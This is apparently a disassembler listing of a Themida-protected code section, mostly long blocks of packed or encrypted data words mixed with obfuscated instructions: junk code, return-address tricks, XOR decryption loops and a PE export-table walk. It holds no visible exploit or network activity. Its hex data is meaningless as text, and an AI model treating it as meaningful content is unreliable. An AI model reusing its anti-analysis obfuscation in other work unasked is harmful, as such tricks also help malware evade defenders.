dd 0B35658B0h, 52FFFFF4h, 42A72758h, 44D15E17h, 0E809314Ch
dd 8606775Dh, 0F06419FBh, 0FC1221C4h, 69BD51C8h, 66000004h
dd 0ED98F885h, 6D187805h, 0FF8AFA83h, 6B167607h, 1594F489h
dd 16674DA7h, 97E6CBB6h, 16674A35h, 99E4CBB6h, 94725F37h
dd 0A7246FC5h, 8670DED7h, 81FCF5A4h, 880831E8h, 196B12FDh
dd 373724ABh, 0AD3EDF1Ah, 65BEBFA8h, 0D8CF7EB4h, 7671FCA5h
dd 80388507h, 22B1C231h, 62476F52h, 0BCCB821Bh, 0D69C1429h
dd 532D6A68h, 0E3C776B3h, 84ADD0B6h, 265750DDh, 0B3E274Fh
dd 0CE7A892h, 0F185A729h, 0BA09A781h, 1D45512Dh, 0A8D1AD3Eh
dd 0FF9E988Bh, 9DAD3E1Ch, 75C2C66Ch, 7F7F6CBBh, 0B35882ACh
dd 43D26108h, 6660304Dh, 0A724383Dh, 68F5A289h, 0BDCEC596h
dd 5203F049h, 0D188215Ch, 475325A9h, 7D000000h, 3EDF1637h
dd 0BB50EAADh, 3EDE9EBBh, 5A65FEADh, 0AD3D7B2h, 4242EB42h
dd 8866D1B7h, 0AD3E8BC9h, 0CED79ECBh, 3E8BA5F4h, 0F76B0BADh
dd 3494E9DFh, 0E6F56E7h, 37462D68h, 8C02542Eh, 0C56FAD3Eh
dd 5F1E152Dh, 0A386DF6Dh, 605E4DDAh, 0AD3EDF31h, 0E980B663h
dd 8755BEAh, 4D302332h, 0C9D0B954h, 4D049DE0h, 0F4F07D24h
dd 7CFAE089h, 3043B4E8h, 0DF164343h, 0BBB4AD3Eh, 29F29BC2h
dd 0A83C3A00h, 47E49990h, 0D1A9D4B6h, 0F18EC3FDh, 31C0AD3Eh
dd 7201E559h, 0FFFF679Dh, 9F862FFFh, 8B8514FAh, 6BF23BF2h
dd 3696E7DEh, 0C3745CE9h, 3EDE96C3h, 1A5306ADh, 27A4CA83h
dd 0D1AD3A89h, 0B353E775h, 15F178A1h, 0A729D644h, 1E9A0AA4h
dd 6BECEE89h, 4B6Dh, 6CC45F00h, 0A300E1Dh, 0CAB353E2h
dd 7C09069Fh, 0B745ED90h, 0A729DB96h, 2EB26152h, 9F70C101h
dd 951F2265h, 0B2A83DF6h, 2A600C4Fh, 0E88EE747h, 0CDDA56CEh
dd 296BECE6h, 0EEh, 255851FCh, 0E2AF8F7Ch, 0B2A729C6h
dd 0A88AE87h, 0C7DE9F86h, 684F482Ah, 0EE9A3916h, 1CAF3CF5h
dd 9E552A46h, 2641F98Bh, 0B9F3A48Bh, 0D12B4E15h, 7F0A93DAh
dd 8693F588h, 116914F7h, 3DE73133h, 0C9B49BADh, 48513CC7h
dd 2D503960h, 0D7342D04h, 0E1D0A59h, 3DE66130h, 300633ADh
dd 2A25B0C3h, 0CBA34A53h, 52E9C171h, 858015B3h, 24F41F8h
dd 0EBF8F746h, 0FCD9858h, 817D84D4h, 0A7298ED4h, 9AE099C0h
dd 4139EEACh, 6C7BAEADh, 3292EBE1h, 0F24C56E5h, 0DFB828E3h
dd 6716FC97h, 707F5F1h, 0A83AB7FAh, 1ECh, 398BF2E3h, 0A1235A4Eh
dd 3B8DF0D6h, 0A7295450h, 587F6DCh, 0F4D630A6h, 937C0789h
dd 0FCEF9AEAh, 89840F81h, 0FFC94F4h, 246C622Fh, 0CB4332A7h
dd 0B393A486h, 0AD3EDEE6h, 0DAAA83B6h, 364740CDh, 235A5500h
dd 6CC413A1h, 701D0E1Dh, 0CF2D0578h, 0B353E22Bh, 0BBA7BE6Bh
dd 0A729DB9Ah, 0D854E04Eh, 6BECF7CFh, 0C127h, 9F869900h
dd 482AC7DEh, 39186A4Fh, 0D0202F4Eh, 0CA8767C6h, 0CAAD3E3Ah
dd 69FD69Fh, 3E3F481Ch, 0E29B92ADh, 0B1CCB845h, 553901B8h
dd 0AAD3BD48h, 1934FAB3h, 0F9564F2Eh, 303F03Fh, 0B35340F3h
dd 0DDA092A3h, 64640DC4h, 1D0A59D7h, 40E41621h, 0C1B3C2ADh
dd 0C77675BCh, 0EB3898E5h, 3006775Ah, 836A2F25h, 9FAA63FAh
dd 22CBD2ABh, 0A2E3054Bh, 0E099FA07h, 10B4Eh, 0AECFC400h
dd 3E3F33DEh, 0B0CDC34Eh, 443935E0h, 0AAD3B944h, 936D5BDAh
dd 21ECDCA1h, 88735528h, 21ECDCA1h, 9D755726h, 6B87D6B0h
dd 0A015A724h, 0D9A48632h, 62DEA95Ah, 0BA0843F3h, 9A9C058Dh
dd 35FDDB90h, 0BEBFA651h, 9F8680CEh, 0D64751F8h, 0FAF46DDBh
dd 0AD3EC05Bh, 10691039h, 6C11FC99h, 8A7E0F1Ch, 0E8DF6AF3h
dd 0C650C95h, 7CCB6566h, 94E9DE6Fh, 388B7E0Dh, 51EA4414h
dd 0E5E15228h, 0B358B18Eh, 4BE67FAAh, 0CCB71964h, 0B0CDB8E1h
dd 0E9164343h, 0D386A723h, 4008D9Ah, 0DD7C7A79h, 0BFA723E8h
dd 0E1BDE48Ah, 0BC00E72Fh, 0C24901Eh, 3F6C5C21h, 0AA42D58Ch
dd 34D81FD7h, 24B2E17Eh, 0BAD9A14Dh, 0DF87C4D3h, 425A4F04h
dd 0EFD772EBh, 927A178Eh, 0F0D772EBh, 305D148Dh, 351D4439h
dd 40F72BB7h, 0B744BE36h, 0EDED9404h, 831268C0h, 0F49FF18Ch
dd 49DD84F9h, 10h, 0D4C7B467h, 0C6403D29h, 0AD3EDE97h
dd 0AC1E5405h, 0D1D8A586h, 2D344944h, 0CDD4A9A0h, 2F364740h
dd 0D4CDB0A2h, 332A5339h, 0D6CFAE96h, 8128553Bh, 0E881FCF4h
dd 0DBC6804h, 0C890000h, 0E7895724h, 4C781h, 0EF810000h
dd 4, 5C243C87h, 50240C89h, 405E089h, 83000000h, 48704E8h
dd 2C895C24h, 3685624h, 5E4FCA7Ah, 0ECA6C681h, 0F189B64Fh
dd 8124348Bh, 4C4h, 4EC8100h, 89000000h, 4832424h, 535D0424h
dd 0BA52CB89h, 8, 1A89EA01h, 34FF5B5Ah, 0C4815D24h, 4
dd 592434FFh, 0E904C483h, 0FFFBD3F4h, 746EB886h, 0C503061Ah
dd 5727E0FFh, 0C6880A7Ch, 66B73FCDh, 0AA547441h, 0A6134B20h
dd 33A1127Fh, 354951A9h, 97D71B0h, 0F16166D7h, 16AA5DBAh
dd 0BF4806DDh, 190835E3h, 4E1F750Bh, 0D8EE091Bh, 98DB2256h
dd 6EC73C2h, 0C5B86336h, 0B6D71A88h, 9D8D1372h, 6150581h
dd 0CEB8h, 0FD858900h, 0E8061500h, 0
; ---------------------------------------------------------------------------
pop eax
add eax, 0Dh
mov [ebx], eax
jmp loc_5D105B
; ---------------------------------------------------------------------------
byte_5D0F8D db 2 dup(0), 0F2h ; DATA XREF: Themida_:00579FB0o
dd 2Dh dup(0F2000076h)
db 76h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5D1047: ; CODE XREF: Themida_:005D1066j
repne jbe short $+3
add dl, dh
jbe short $+2
add dl, dh
jbe short $+2
add dl, dh
jbe short $+2
add dl, dh
jbe short near ptr loc_5D1058+1 ; CODE XREF: Themida_:loc_5D1058j
; ---------------------------------------------------------------------------
db 0FFh
; ---------------------------------------------------------------------------
loc_5D105B: ; CODE XREF: Themida_:005D0F88j
call sub_5D106A
popa
bound edx, [ebx]
aaa
test al, 52h
jnp short loc_5D1047
loope loc_5D10B0
; =============== S U B R O U T I N E =======================================
sub_5D106A proc near ; CODE XREF: Themida_:loc_5D105Bp
mov ecx, 70FC945Dh
pop eax
call near ptr loc_5D107C+1
and [ebx], bh
in eax, dx
neg byte ptr [esi+74h]
pop ds
loc_5D107C: ; CODE XREF: sub_5D106A+6p
mov edx, 815E33B5h
sub_5D106A endp ; sp-analysis failed
sar dl, 6Fh
; ---------------------------------------------------------------------------
dd 68F50000h, 0
; ---------------------------------------------------------------------------
mov ch, 5Fh
pop edi
mov cx, 4AE3h
loc_5D1093: ; CODE XREF: Themida_:005D1106j
mov edx, [eax+edi]
xor ebx, 35A509A8h
xor edx, 7A7431C9h
js near ptr dword_5D10AC
mov bx, 55C7h
; ---------------------------------------------------------------------------
dword_5D10AC dd 0AE5AEA81h ; ---------------------------------------------------------------------------
loc_5D10B0: ; CODE XREF: Themida_:005D1068j
nop
dec esp
clc
sub edx, 64AF090Eh
jg loc_5D10CD
jmp loc_5D10CD
; ---------------------------------------------------------------------------
dd 0F2BEB361h, 0D1E09FA3h
; ---------------------------------------------------------------------------
dec ebx
loc_5D10CD: ; CODE XREF: Themida_:005D10B9j
; Themida_:005D10BFj
push edx
jmp loc_5D10E7
; ---------------------------------------------------------------------------
lahf
cld
pop edx
inc ebx
and al, dh
xor [edx], bh
dec esp
retf
; ---------------------------------------------------------------------------
db 20h, 13h, 0CDh
dd 5848DA32h
db 1Ch, 0B7h, 0D8h
; ---------------------------------------------------------------------------
loc_5D10E7: ; CODE XREF: Themida_:005D10CEj
pop dword ptr [eax+edi]
and bh, 45h
mov ebx, 8116A96h
sub edi, 770BEBFBh
add edi, 770BEBF7h
mov bh, cl
cmp edi, 0FFFF90B4h
jnz loc_5D1093
sbb esi, 2503527Ah
lea ecx, [ebp+61A77D5h]
mov eax, [ebp+6150AD9h]
mov [ebp+6152721h], ecx
push 0
push ecx
call sub_5D112F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D112F proc near ; CODE XREF: Themida_:005D1127p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5D112F endp
; ---------------------------------------------------------------------------
align 10h
rol byte ptr [edx-7], 1
add al, 2Ch
cld
mov [ebp+61506E1h], ecx
mov dword ptr [ebp+61504CDh], 61F0h
push 0
push esi
call sub_5D1161
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1161 proc near ; CODE XREF: Themida_:005D1159p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5D1161 endp
; ---------------------------------------------------------------------------
db 59h, 0F1h, 0B6h
dd 0E80D83A3h, 8, 7C4C45E0h, 77032C06h, 12E8h, 9AD01800h
dd 0BEE86BD7h, 68354A59h, 0B6CCED09h, 0FC76190h, 86h, 0C75A5F00h
dd 15111585h, 6, 35BD8B00h, 0FF061530h, 152E0DB5h, 9EE88006h
dd 2C995FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 2E1046C3h, 5299B9B8h, 14F19589h
dd 0E95F0615h, 0Dh, 63621142h, 66E304F6h, 201A48BCh, 0FF006A48h
dd 152E2195h
; ---------------------------------------------------------------------------
loc_5D1204: ; DATA XREF: Themida_:0057A110o
push es
mov eax, eax
jmp short loc_5D1285
; ---------------------------------------------------------------------------
db 79h, 0DDh, 76h
dd 2C08FF38h, 96E20D3Dh, 0ACBC2AA2h, 4E436640h, 0CE6E66B5h
dd 59BA19A9h, 2872CA8Eh, 5ACF78F5h, 8A042F94h, 0A3374469h
dd 0F87342D2h, 0CE6FEF9Fh, 56A81B18h, 6F2DE421h, 2EF3C1Ch
dd 129E9C7h, 0A1FAA901h, 0B4BFFCF2h, 32E42026h, 0C85E22ABh
dd 0EF03E40Fh, 0D6706143h, 11369C88h, 6189128Eh, 3586397Eh
dd 30D574DCh, 4AD8DD13h, 1D1C5E4Eh, 0ECCB7831h, 0C17CFDC8h
; ---------------------------------------------------------------------------
push eax
loc_5D1285: ; CODE XREF: Themida_:005D1207j
jmp loc_5D133A
; ---------------------------------------------------------------------------
pusha
mov dx, ds
test dl, 4
jnz loc_5D12A3
cmp eax, [ebp+6151685h]
jz loc_5D12D9
loc_5D12A3: ; CODE XREF: Themida_:005D1291j
cmp eax, [ebp+6150789h]
jz loc_5D12D9
cmp eax, [ebp+6151789h]
jz loc_5D12D9
cmp eax, [ebp+6151015h]
jz loc_5D12D9
cmp dword ptr [ebp+6152CEDh], 1
jz loc_5D12D9
jmp loc_5D1338
; ---------------------------------------------------------------------------
loc_5D12D9: ; CODE XREF: Themida_:005D129Dj
; Themida_:005D12A9j ...
mov edx, eax
add edx, [edx+3Ch]
mov edi, [edx+88h]
mov ecx, [edx+78h]
test ecx, ecx
jz loc_5D1338
add edx, 0F8h
mov esi, [edx+0Ch]
add ecx, eax
mov ebx, [ecx+1Ch]
mov edx, [ecx+14h]
add ebx, eax
loc_5D1302: ; CODE XREF: Themida_:005D1320j
mov ecx, [ebx]
test ecx, ecx
jz loc_5D131C
cmp ecx, esi
jb loc_5D132B
cmp ecx, edi
jnb loc_5D132B
loc_5D131C: ; CODE XREF: Themida_:005D1306j
add ebx, 4
dec edx
jnz loc_5D1302
jmp loc_5D1338
; ---------------------------------------------------------------------------
loc_5D132B: ; CODE XREF: Themida_:005D130Ej
; Themida_:005D1316j
lea ebx, [ebp+6154F9Eh]
mov eax, 5
jmp ebx
; ---------------------------------------------------------------------------
loc_5D1338: ; CODE XREF: Themida_:005D12D4j
; Themida_:005D12E9j ...
popa
retn
; ---------------------------------------------------------------------------
loc_5D133A: ; CODE XREF: Themida_:loc_5D1285j
or edx, eax
lea ecx, [ebp+61A79C8h]
push 0
push edi
call sub_5D134D
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D134D proc near ; CODE XREF: Themida_:005D1345p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_5D134D endp
; ---------------------------------------------------------------------------
db 71h, 0A8h, 0DCh
dd 2B255D79h, 8E9B9h, 95CA0000h, 243FCA0Dh, 23517629h
dd 150E059Dh, 8D895F06h, 6152721h, 6919D89h, 85C70615h
dd 61504CDh, 6070h, 45BD3357h, 5806152Ah, 111585C7h, 615h
dd 0F8530000h, 89BD8B5Eh, 0FF061518h, 1502B5B5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 11E97C0Eh, 82000000h, 32B41BB4h, 4A79635Bh, 562FB6D5h
dd 0C2303E6Eh, 2C995FFh, 0C6810615h, 1B7EE085h, 95FF006Ah
dd 6152E21h, 2FEBC08Bh, 81CA6770h, 2A1D376Eh, 50657ADh
dd 80FF808Ah, 444681Ah, 0F046B389h, 0DE5B5F7h, 0FB29B31Ah
dd 9D2C6832h, 19ADCCD2h, 0B21E706h, 0EB4C7B69h, 60h, 17h dup(0)
dd 0B71E900h, 65E90000h, 6800000Bh, 61A8272h, 0FB03E1E9h
dd 83CD68FFh, 0D7E9061Ah, 68FFFB03h, 61A8441h, 0FB03CDE9h
dd 0DC4CAAFFh, 1787EA39h, 0E454B17Eh, 2E9E2211h, 0EA5AD847h
dd 0A41F8C0Bh, 0F03FD646h, 0A9761F8Fh, 0E53ADB4Bh, 547F1686h
dd 8896BB8Ah, 9455169Ch, 0E0624FA8h, 16999A70h, 0F370A6h
dd 0B9660F7Fh, 0EAF4CA3Ah, 86F2365Bh, 6E4B510h, 0E4114608h
dd 0C69787C3h, 4DAF5C0Eh, 55B001DDh, 2DCB1E5h, 86281E43h
dd 1ECCDD10h, 0C7C03F0h, 2999190Ah, 361FEDh, 8B29A1E5h
dd 8DED1ECCh, 0A808191Dh, 88E5FE38h, 0A4051E18h, 0E92D9D18h
dd 6DFB3B14h, 97C599C9h, 86C0E52Ch, 149B8810h, 0B29D72A4h
dd 98BF86D8h, 5F16A15Eh, 715ECE32h, 7F15686Dh, 90A71794h
dd 3C2EED97h, 0C838B9FAh, 88B87D2Dh, 6EFA7DB6h, 0A4999D0Dh
dd 0DA9CAC8Bh, 0AD9C1631h, 776577BDh, 9CDB85CCh, 0B3576816h
dd 9CDBCD08h, 979FB016h, 0A5B9298Ah, 0CBBF2F8Ch, 0C7247CC0h
dd 65276557h, 464F04Ch, 6BCFBB94h, 0E0DC0CABh, 8398864Fh
dd 0D9D24A19h, 0A6D66231h, 68A82673h, 3DB9h, 0CABCD00h
dd 864FE0DCh, 0BAD8ECD9h, 0FD3F2BFFh, 860C0346h, 0E3D9EA10h
dd 0C5246B4Fh, 6D4ABA39h, 3319348Ah, 9F9DB249h, 73E3624Fh
dd 4F60CC97h, 28F08986h, 0B65413F1h, 2B06h, 0CAB2200h
dd 54B102DCh, 2DDDB2E4h, 0ADF44F05h, 0DE1086F2h, 6B4FCBF1h
dd 3FDC864Fh, 9CB92DDh, 0E151B061h, 0E353D4DDh, 72561307h
dd 3DB0BABh, 9C1BA040h, 2A6C3D16h, 93DB82CBh, 19C46B16h
dd 0E858D8D9h, 0C434B5AEh, 0D848A8EBh, 8A09E1DEh, 9DBD431Fh
dd 20BA5h, 0AAB8100h, 0FF56FEE2h, 2B04199Dh, 5461B013h
dd 0B1C1086h, 0D8C22233h, 952B0E6Bh, 0C61567C2h, 3E2C50F5h
dd 53C90ED0h, 3A607AA7h, 83F35241h, 61C92AE7h, 22870C00h
dd 8D5BA5B2h, 3618FDD2h, 40749D28h, 2EF71086h, 49F4AA55h
dd 9F4B6467h, 0E3624F7Bh, 0CE2E4373h, 4867585Eh, 0A21271A2h
dd 0E3624F7Ah, 3660D057h, 4F407659h, 0AB89719Bh, 0D502DC0Ch
dd 0E311C1F2h, 34E88269h, 86FC486h, 96A19E98h, 35AEE20Fh
dd 36DE8C42h, 0A82673A6h, 57B968h, 0ABCD0000h, 4FE0DC0Ch
dd 9971E162h, 0F2D900C3h, 0A2A41086h, 86F2FE23h, 83AC7D10h
dd 0B7864F99h, 1E6EF6B6h, 38827047h, 0AE0F172Bh, 24427ABCh
dd 4CBC39C5h, 624F3963h, 0CB9A70E0h, 0E0624F5Dh, 0CD2D4670h
dd 4B64595Dh, 48039Fh, 23390000h, 86F279A0h, 57330410h
dd 0DC0CABE3h, 0ADF44FE0h, 0DE1086F2h, 68CB57D5h, 0EEDFD7F8h
dd 0DED848A5h, 0C3F0CEE1h, 0F3E4D242h, 0E560D379h, 0E42F00E8h
dd 0C9711989h, 0C5246B4Fh, 0F0538955h, 1086F2A9h, 73A74354h
dd 0AAB7256h, 6C4104DAh, 0EF1086F2h, 0A6D700DEh, 18BC4583h
dd 331913F7h, 0D7779A29h, 25F61086h, 0F767C445h, 0C7241A1Eh
dd 0F2BADF66h, 70411086h, 43275D5Fh, 0E0DC0CABh, 73A6A286h
dd 0D368A826h, 0C28EFB02h, 4525DC8Ch, 46D5h, 0CABB100h
dd 8D4FE0DCh, 6056C624h, 0F9207B6Fh, 221086F2h, 0F73FAF11h
dd 63346406h, 246B4F39h, 4C8955C5h, 0F4BAB12Bh, 0D53D2D88h
dd 5FB57256h, 0F3000000h, 6DC768E2h, 19BA9D0Dh, 13AF88C4h
dd 9892B297h, 0ABE35733h, 0DC02DC0Ch, 86F22069h, 10FACB10h
dd 0E0624F2Ch, 0F29DC47Fh, 4F601086h, 11B48A60h, 1086F2C8h
dd 81C87B41h, 6C1086F3h, 19BB9263h, 93BC8E29h, 6B4F80BCh
dd 6755C524h, 66C39456h, 267FC5FFh, 0EB1EA1B6h, 0F20949Dh
dd 0CFB5B75Bh, 0D1000000h, 4DA0AABh, 86F21041h, 0DCDAEB10h
dd 400364C7h, 1086F219h, 0E2FCD3E4h, 5EE36FD1h, 0F8D7A8EEh
dd 476058DFh, 0FBEF31B8h, 0C724CC70h, 65276557h, 377CEC4Ch
dd 7D5244B4h, 0CABA58Dh, 0F23158EBh, 0C92F1086h, 0F9D6E759h
dd 0DF624FC3h, 4CF07B6Fh, 93B68D4Fh, 5A1086F2h, 77E74A49h
dd 26C51893h, 4B2B68A8h, 0FF000000h, 93B68D4Fh, 5A1086F2h
dd 77E74A49h, 0F69C4E3Fh, 54701B43h, 7E3427F7h, 0F44F6B51h
dd 1086F2ADh, 4F3D7F50h, 64C5246Bh, 0F286CB7Ah, 54651086h
dd 86F2A8F1h, 6D425310h, 4F72562Fh, 95C81486h, 54361C9Fh
dd 1D68h, 0CAB4400h, 0C5DD20E4h, 17381EFDh, 0ADF44F25h
dd 0DE1086F2h, 6B4FCBF1h, 6755C524h, 0C7247256h, 0F2525F57h
dd 0BF3CF382h, 0E844D033h, 6E5F5778h, 21F08A49h, 52A518Bh
dd 87E64B11h, 3487317h, 6F10869Eh, 0FADB17C6h, 4C9D4F0Ch
dd 0F633D7A1h, 68B11475h, 131086FEh, 0DB482D02h, 0FD6DCC58h
dd 0BA5DE4D2h, 0C3278C4Eh, 806A6353h, 0A221A619h, 0BAF76332h
dd 0F3CCCA3Ah, 0ADDDA117h, 17563291h, 0D6E7169Ch, 0C43865E0h
dd 4AC51693h, 5083E663h, 20099DBDh, 1D000000h, 8757C724h
dd 0B456C62Ah, 0F2D6FB7Ah, 6B1A1086h, 90008344h, 0BB7C5905h
dd 8ABAEA6Ch, 24BB5F0Bh, 7D5F57C7h, 0F352B334h, 1086F2AEh
dd 63537C4Dh, 661A806Ah, 0CA9D2836h, 4916A16Ch, 0CD786678h
dd 169C8884h, 0BD885667h, 169C8894h, 0C9A44657h, 6ED11DE1h
dd 0E8C7B8FEh, 61936FD6h, 192A1086h, 5177961Dh, 99001CA9h
dd 0BD962326h, 211EA3D7h, 0FA000000h, 3ABE0AABh, 0DCF3CCCAh
dd 0F26E4302h, 268B1086h, 5B951C1h, 0AC092A34h, 125B593Ch
dd 2F000000h, 4DA0AABh, 86F26C41h, 0DEEF10h, 13E252B3h
dd 0B68D4F25h, 1086F293h, 1A1495Ah, 193h, 0E010AB15h, 0DF624FBCh
dd 0B456276Fh, 0C724727Ah, 654ABA3Bh, 6BDB5859h, 84B8522Bh
dd 71E1624Fh, 0D3A24845h, 2673A665h, 37B968A8h, 0CD000000h
dd 93B68D4Fh, 5A1086F2h, 4CF7A149h, 0F271982Bh, 2BFC1086h
dd 0F44F1804h, 1086F2ADh, 4F3D7F50h, 59C9246Bh, 34864F63h
dd 529575F8h, 1D0B5A30h, 2CB5h, 624FD100h, 2E4373E3h, 625B5BCBh
dd 48F39D4Dh, 0AD184618h, 1086F264h, 0E0543607h, 0F2ADF44Fh
dd 0F1DE1086h, 246B4FCBh, 566359C9h, 57C72472h, 0AB432765h
dd 4FE0DC0Ch, 0F293B68Dh, 495A1086h, 0A666D2A1h, 68A82673h
dd 42B9h, 624FCD00h, 167C6EDEh, 4F093363h, 86F2ADF4h, 3D7F5010h
dd 0BF488D4Fh, 24F44E84h, 33A3060Dh, 624FE357h, 0F23975DDh
dd 250BB89Ch, 57330C0Ah, 0B5E757DAh, 624F7256h, 56276FDFh
dd 6F08B4h, 0AB240000h, 0D502DC0Ch, 0EEF9A8DAh, 0A9199910h
dd 0BC2C8D86h, 2DE5857Ah, 0F44F8D4Fh, 1086F2ADh, 308B7F50h
dd 1086F2E9h, 0EE6C1522h, 0ED65560Fh, 8EDBFCC2h, 0E9691DB5h
dd 0F83BB5FCh, 4B64FC41h, 6B4F7B9Fh, 93B68D4Fh, 5A1086F2h
dd 9F0B6E49h, 2405BD9Ah, 0F464C546h, 869C9EAh, 86CD143Dh
dd 0E9C6D710h, 0F007D0ADh, 0D083AF97h, 56CC701Ah, 67C82472h
dd 86F2B5DCh, 48673810h, 4BBB3D76h, 0CE0E759Fh, 961086F2h
dd 0A90BBC23h, 42B9B1Dh, 54EFED71h, 1086F20Dh, 6DBB4E87h
dd 0A00099A5h, 2437DB8Fh, 455E58C8h, 756777E7h, 0F550C03Ch
dd 1086F2ACh, 72E2624Fh, 0C87FAD5Dh, 4A14DED1h, 86F2567Bh
dd 0B0131510h, 1086F269h, 3E2C0314h, 370E6FCDh, 1086F212h
dd 0EE7C8D9h, 86FC2BB3h, 0CC5CD910h, 5697A827h, 0FFFFFE25h
dd 0F297B632h, 0B25B1086h, 0CF1086F2h, 430263E2h, 1086F21Eh
dd 7E3CCDDh, 86F2769Ch, 0F2D1FC10h, 74991086h, 0FC1086F2h
dd 0D086F2D1h, 199EEA8Eh, 0BF906DA9h, 0E6CC249Fh, 0EDEFD69Eh
dd 91063356h, 6ECDBAD6h, 8539D1FEh, 48F882B4h
dd 477F4618h, 16D08BF7h, 9D2D7805h, 82EF1BDh, 2B4ACh, 0A8189600h
dd 63D356CDh, 0B0209D92h, 7AEA4EE5h, 0B626849Bh, 0D0C3C8DFh
dd 0BC730272h, 0F52ACB3Bh, 0C16E0777h, 9043D242h, 70D2F7CEh
dd 0D899169Ch, 3BC72464h, 13F74DB5h, 369F9F16h, 36283619h
dd 86524A8Fh, 8A603110h, 2A5A1E8Ch, 0CCDAB114h, 506116A1h
dd 57C7258Eh, 6176D8B3h, 0F6CD06Dh, 91A6979Fh, 9872FCD3h
dd 9DFBE02Dh, 0B4102116h, 0B98C5244h, 169DFB90h, 85654A5Bh
dd 233B6B0Bh, 979F839h, 7D03300Dh, 1D3E5D0Dh, 0DC10BA65h
dd 3DBEF3CBh, 78FB28CDh, 0E6134710h, 0E5CAAFD3h, 5C0352B1h
dd 4CEC1CB3h, 0E483421Ch, 731A94C2h, 14979CA2h, 248DD1A4h
dd 44B437C3h, 31927F6Bh, 0DA2C75D0h, 0FECF02D6h, 0A353E5D1h
dd 0FD86B73h, 8E04F144h, 4FEF79BDh, 381D3F1Fh, 9823E2Bh
dd 86BA812h, 8CD3F298h, 6B0ECBF3h, 6E49B93Eh, 34FC59ADh
dd 805E7103h, 0D46FD033h, 0E037E8Dh, 6FFC3007h, 9B7AEE0h
dd 0B17E1738h, 51B4E252h, 0E02E20Ch, 0D9E515E9h, 2764956Ah
dd 13031408h, 8C421349h, 0A7562D0Ah, 661138EDh, 0EC4F3426h
dd 0DB453A7Ch, 0D8DE4EAEh, 7822C8E7h, 6DC698C8h, 0A39C9A0Ah
dd 12CE75C7h, 0EB323B6Fh, 0E6C939BEh, 3503CA17h, 239F9593h
dd 159h, 502595F1h, 7EE5EE3h, 482D9D18h, 10E555DBh, 462F9F23h
dd 3675A51h, 0CA2D0293h, 864BB5Ah, 0C526FD98h, 4717C055h
dd 9C71557Ch, 0E5571816h, 3DB0BABh, 0F2276AD9h, 0F5C61086h
dd 0EF843F15h, 6E16A16Ch, 6273595Dh, 40587251h, 91576DD6h
dd 0A82496Eh, 0EF1E1621h, 500AC9BFh, 104000BAh, 0C89B774Eh
dd 0D1E21081h, 0BB5CF54Ch, 0EC486EB1h, 0E5h, 0FC990965h
dd 0C352C227h, 0D4A1116Ch, 8C69D95Fh, 0D2A31397h, 57DBD6D5h
dd 9E210EE7h, 5CD8472Eh, 991A09ECh, 537B4C29h, 9C76A9F0h
dd 0A9935416h, 3DB0BABh, 0A16CA340h, 2D693A16h, 0AE47B734h
dd 0A4920281h, 2C326216h, 10800132h, 62412926h, 10BB1639h
dd 210EE7B8h, 0F96530A0h, 0FC6CCEE3h, 0B2060049h, 6ADA5E1Ch
dd 0DCED532Ch, 1080FD2Eh, 0DA4AAE85h, 1686E43Bh, 4201DB7Fh
dd 1CB2061Fh, 0E454B1DEh, 90F21FCBh, 97151E20h, 6C1EEF27h
dd 3DAD1221h, 0F969CB58h, 34A4071Ch, 56DD261h, 4D1DE19Eh
dd 1EF7D8DEh, 0A6B8E898h, 0FA1FA6B8h, 811CB215h, 0A0EBDAB0h
dd 3F1A958Bh, 0B83B286Eh, 0B4A1AD48h, 0E3D95B74h, 893C0282h
dd 2C9F940h, 54701A2Bh, 0Dh, 6F6D2F68h, 86F28DD4h, 0AB5F7010h
dd 5ACA2487h, 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh
dd 4FBF4330h, 66D65A47h, 52C24330h, 7AEA4F64h, 8953783Ch
dd 4C381E3h, 83000000h, 1C8704EBh, 24248B24h, 4EC81h, 34890000h
dd 419C6824h, 0C890000h, 27B95124h, 814BA928h, 1115D4F1h
dd 59CE8955h, 0EE81DEF7h, 0DB2D4787h, 4EC81h, 24890000h
dd 24048324h, 0BB535904h, 8, 5158C381h, 0CB0149FAh, 5158EB81h
dd 338949FAh, 240C8B5Bh, 81E78957h, 4C7h, 4C78100h, 87000000h
dd 0FF5C243Ch, 835E2434h, 87E904C4h, 0DFFFAF8h, 1A854BB8h
dd 8BC50306h, 0DE8C3h, 0A0BF0000h, 5B0AE789h, 0B9B18D1Bh
dd 0E975F730h, 10h, 0A7176C52h, 2989EA13h, 0B6C4E8E1h
dd 0B11571B8h, 0A1E7815Bh, 810204ABh, 5BFCC3h, 78BAF500h
dd 81036588h, 659E98F2h, 0F0816603h, 0B8BD9BEh, 3331C181h
dd 0EABF0AFAh, 81769B18h, 40EAC6E9h, 0C181F903h, 64C74E85h
dd 7E9h, 27579400h, 953C0222h, 0EB830B89h, 5880F02h, 66000000h
dd 6A0DD881h, 4AF94B4Bh, 0FFC0850Fh, 73E9FFFFh, 6A000002h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 0FCC8C350h, 13E9D72Dh, 8D000000h, 0FA475B96h
dd 739E56DFh, 0B22F5274h, 98926EA2h, 0B58DE201h, 61A8767h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 20C35343h
dd 606B6D99h, 68A0Fh, 0E1810000h, 229DEA2Ah, 0BE9h, 0FDEB500h
dd 739F6C9Ah, 0DFC88E27h, 0B8666061h, 0BE8865Fh, 79000000h
dd 434C3257h, 0E60D79ACh, 616068E4h, 858D6158h, 6184559h
dd 98E0Fh, 8B600000h, 0F52FBAD3h, 0FF610CCEh, 810F60D0h
dd 11h, 0CE9h, 873EAF00h, 807C064Ch, 1B53BFF1h, 5890F05h
dd 66000000h, 4865F181h, 12E86061h, 0B8000000h, 0EBF114DEh
